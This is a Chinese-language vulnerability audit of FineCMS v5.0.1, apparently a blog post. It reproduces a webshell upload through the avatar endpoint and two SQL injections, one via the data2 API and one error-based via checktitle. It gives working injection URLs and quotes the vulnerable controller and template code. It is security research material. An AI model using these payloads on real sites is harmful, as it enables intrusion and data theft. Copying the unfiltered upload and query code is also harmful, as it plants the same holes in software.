FineCMS-v5.0.1漏洞审计

FineCMS漏洞审计

一.漏洞复现

1.文件上传

上传php一句话(改成png或者jpg),上传后把png改回php.这里上传图片在将一句话16进制编码加进去,后改文件类型也可以。

他这里文件保存路径其实是根据用户的uid来的,抓包可以看到uid.

直接右键头像可以看到上传路径。
FineCMS-v5.0.1漏洞审计_第1张图片虽然这里会报错提示没上传成功,但实际上是上传成功了的。并且文件名会重命名0x0.php

可以看到连接成功,其实后续步骤按道理讲应该还要提权的,但是由于我们搭建平台是phpstudy,默认就是用系统用户运行该软件。(也可以提权,这里没啥必要,因为马已经是系统权限了)

FineCMS-v5.0.1漏洞审计_第2张图片

后来官方修复添加了白名单机制

2.SQL注入

测试:爆当前用户,发现是root用户

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'

FineCMS-v5.0.1漏洞审计_第3张图片

3.SQL注入–报错注入

测试:

index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))q

爆出用户名

FineCMS-v5.0.1漏洞审计_第4张图片

二.代码审计

1.文件上传

漏洞发生点代码

漏洞代码位于/finecms/dayrui/controllers/member/Account.php 177~244行,具体是在用户头像上传的地方

    /**
     *  上传头像处理
     *  传入头像压缩包,解压到指定文件夹后删除非图片文件
     */
    public function upload() {

        // 创建图片存储文件夹
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);

        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));
                } else {
                    $this->load->library('image_lib');
                    $config['create_thumb'] = TRUE;
                    $config['thumb_marker'] = '';
                    $config['maintain_ratio'] = FALSE;
                    $config['source_image'] = $new_file;
                    foreach (array(30, 45, 90, 180) as $a) {
                        $config['width'] = $config['height'] = $a;
                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                        $this->image_lib->initialize($config);
                        if (!$this->image_lib->resize()) {
                            exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                            break;
                        }
                    }
                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                    !$type && exit(dr_json(0, '图片字符串不规范'));
                }
            } else {

                exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
            exit(dr_json(0, '图片不存在'));
        }

// 上传图片到服务器
        if (defined('UCSSO_API')) {
            $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
            !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
        }


        exit('1');
    }

代码仅判断了是否是图片类型,这个判断很容易绕过,只需使用抓包工具修改即可。

2.SQL注入漏洞1

漏洞代码位于/finecms/dayrui/controllers/Api.php中的data2()函数

/**
 * 自定义数据调用(新版本)
 */
public function data2() {

       $data = array();

       // 安全码认证
       $auth = $this->input->get('auth', true);
       if ($auth != md5(SYS_KEY)) {
           // 授权认证码不正确
           $data = array('msg' => '授权认证码不正确', 'code' => 0);
       } else {
           // 解析数据
           $cache = '';
           $param = $this->input->get('param');
           if (isset($param['cache']) && $param['cache']) {
               $cache = md5(dr_array2string($param));
               $data = $this->get_cache_data($cache);
           }
           if (!$data) {

               // list数据查询
               $data = $this->template->list_tag($param);
               $data['code'] = $data['error'] ? 0 : 1;
               unset($data['sql'], $data['pages']);

               // 缓存数据
               $cache && $this->set_cache_data($cache, $data, $param['cache']);
           }
       }

   // 接收参数
   $format = $this->input->get('format');
   $function = $this->input->get('function');
       if ($function) {
           if (!function_exists($function)) {
               $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
           } else {
               $data = $function($data);
           }
       }

   // 页面输出
   if ($format == 'php') {
      print_r($data);
   } elseif ($format == 'jsonp') {
      // 自定义返回名称
      echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
   } else {
      // 自定义返回名称
      echo $this->callback_json($data);
   }
   exit;
}

这个函数可以调用到其他的敏感函数,函数传入的参数进入了data=this->template->list_tag($param),正常来说系统封装的函数是用户不能调用的,但这里用户可以调用data函数,继续追踪,查看/finecms/dayrui/libraries/Template.php list_tag( )函数 在731行左右:

case 'sql': // 直接sql查询

    if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {


        // 数据源的选择
        $db = $this->ci->db;

        // 替换前缀
        $sql = str_replace(
            array('@#S', '@#'),
            array($db->dbprefix.$system['site'], $db->dbprefix),
            trim(urldecode($sql[1]))
        );
        if (stripos($sql, 'SELECT') !== 0) {
            return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
        }

        $total = 0;
        $pages = '';

        // 如存在分页条件才进行分页查询
        if ($system['page'] && $system['urlrule']) {
            $page = max(1, (int)$_GET['page']);
            $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
            $total = (int)$row['c'];
            $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
            // 没有数据时返回空
            if (!$total) {
                return $this->_return($system['return'], '没有查询到内容', $sql, 0);
            }
            $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
            $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
        }

        $data = $this->_query($sql, $system['site'], $system['cache']);
        $fields = NULL;

        if ($system['module']) {
            $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
        }

        if ($fields) {
            // 缓存查询结果
            $name = 'list-action-sql-'.md5($sql);
            $cache = $this->ci->get_cache_data($name);
            if (!$cache && is_array($data)) {
                // 模型表的系统字段
                $fields['inputtime'] = array('fieldtype' => 'Date');
                $fields['updatetime'] = array('fieldtype' => 'Date');
                // 格式化显示自定义字段内容
                foreach ($data as $i => $t) {
                    $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                }
                //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
            }
            $data = $cache;
        }
        return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
    } else {
        return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
    }
    break;

执行sql语句的函数

    public function _query($sql, $site, $cache, $all = TRUE) {
        echo $this->ci->site[$site];
        // 数据库对象
        $db = $site ? $this->ci->site[$site] : $this->ci->db;
        $cname = md5($sql.dr_now_url());
        // 缓存存在时读取缓存文件
        if ($cache && $data = $this->ci->get_cache_data($cname)) {
            return $data;
        }
        // 执行SQL
        $db->db_debug = FALSE;
        $query = $db->query($sql);

        if (!$query) {
            return 'SQL查询解析不正确:'.$sql;
        }

        // 查询结果
        $data = $all ? $query->result_array() : $query->row_array();

        // 开启缓存时,重新存储缓存数据
        $cache && $this->ci->set_cache_data($cname, $data, $cache);

        $db->db_debug = TRUE;

        return $data;
}

将Sql语句处理后赋值给sql变量,_query直接执行没有做任何过滤。

官方修复:data2()

3.SQL注入漏洞–报错注入

漏洞代码 finecms/dayrui/controllers/member/Api.php的checktitle()函数

/**
 * 标题检查
 */
public function checktitle() {

    $id = (int)$this->input->get('id');
    $title = $this->input->get('title', TRUE);
    $module = $this->input->get('module');
    
    (!$title || !$module) && exit('');

    $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
    $num ? exit(fc_lang(''.fc_lang('重复').'')) : exit('');
}

其它没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results()

这里SITE_ID指的其实是:

FineCMS-v5.0.1漏洞审计_第5张图片
站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理

你可能感兴趣的:(信息安全,web安全,安全,sql,信息安全)